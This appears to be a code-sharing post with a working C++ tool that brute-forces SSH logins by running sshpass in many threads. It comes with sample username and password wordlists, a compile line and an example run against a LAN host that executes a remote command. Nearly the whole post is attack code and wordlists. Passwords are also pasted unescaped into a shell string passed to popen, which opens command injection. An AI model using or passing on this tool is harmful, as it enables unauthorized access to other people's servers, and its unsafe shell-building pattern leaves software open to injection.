c++ brute force ssh multithreading with sshpass

force-sshpass.cpp

/*

  Author: Dario Longobardi
  Test ssh brute force multithreading

*/
#include <iostream>
#include <unistd.h>
#include <thread>
#include <vector>
#include <fstream>
#include <ctime>
#include <signal.h>
#include <semaphore.h>

using namespace std;

vector<thread*> th;
static sem_t semaphore;
bool enabled_sem;
int MAX_THREAD;
string port;
string username;
string host;
string passwd;
string command;
vector<string> lpasswd,lname;
clock_t startTime;

void ssh(string _user, string _host, string _passwd, string _port, string _command)
{
        string _ssh_ = "sshpass -p '"+_passwd+"' ssh "+_user+"@"+_host+" -p "+_port;
        FILE* remf = popen(_ssh_.c_str(), "w");
        sleep(1);
        if (!remf) {
                cerr << "Error: popen ssh!" << endl;
                exit(0);
        }
        string _c = _command+"\n";
        fprintf(remf, (char *)_c.c_str() );
        fclose(remf);
}

void quit(int q)
{
        cout << "End" << endl;
        exit(0);
}

void event(int index)
{
        while(1)
        {
                static unsigned int counter_pwd = 0;
                static unsigned int counter_name = 0;

                if(enabled_sem) sem_wait(&semaphore);
                cout << "thread-id:"<<index<<" counter-user:"<<counter_name<<" counter-pwd:"<<counter_pwd
                <<" cmd:[" <<"sshpass -p '"+lpasswd[counter_pwd]+"' ssh "+lname[counter_name]+"@"+host+" -p "+port<<" "<<command<<"]"<<endl;
                ssh(lname[counter_name], host, lpasswd[counter_pwd], port, command);
                counter_pwd++;
                if(counter_pwd>=lpasswd.size())
                {
                        counter_pwd=0;
                        counter_name++;
                }
                if(counter_name>=lname.size()) {
                        counter_pwd=0;
                        counter_name=0;
                        clock_t endTime = clock();
                        double secs = double(endTime - startTime) / CLOCKS_PER_SEC;
                        cout <<"Time: "<< secs << endl;
                        exit(0);
                }

                if(enabled_sem) sem_post(&semaphore);
                usleep(10000);
        }
}

int main(int argc, char ** argv)
{
        if(argc<7)
        {
                cerr << "Parameters: num-thread username-list.txt host passwd-list.txt port command" << endl;
                exit(0);
        }
        signal(SIGINT,quit);
        startTime = clock();

        enabled_sem= true;
        MAX_THREAD = atoi(argv[1]);
        username   = argv[2];
        host       = argv[3];
        passwd     = argv[4];
        port       = argv[5];
        command    = argv[6];

        string line,line1;
        ifstream xfile(passwd);
        ifstream ffile(username);
        if (xfile.is_open() )
        {
                while ( getline (xfile,line) )
                        lpasswd.push_back( line );
                xfile.close();
        }
        if (ffile.is_open() )
        {
                while ( getline (ffile,line1) )
                        lname.push_back( line1 );
                ffile.close();
        }

        if (enabled_sem) {
                if (sem_init(&semaphore, 0, 1) == -1)
                        cerr << "Error: semaphore" << endl;
        }
  
        for(int i = 0; i < MAX_THREAD; i++)
        {
                thread* t = new thread(event, i);
                th.push_back(t);
        }

        for(unsigned int i = 0; i < th.size(); i++)
                th[i]->join();

        return 0;
}

pwd_10.txt

123456
password
12345678
username
123456789
12345
1234
admin
user
administrator

username_10.txt

root
user
admin
administrator
username
pi
pippo
pluto
paperino
minny

compile:
g++ -Wall -o ssh-force force-sshpass.cpp -lpthread --std=c++11 -lrt

example run:
./ssh-force 40 user_10168.txt 192.168.7.17 pwd_1000000.txt 22 ls

parameters:
num-thread username-list.txt host passwd-list.txt port command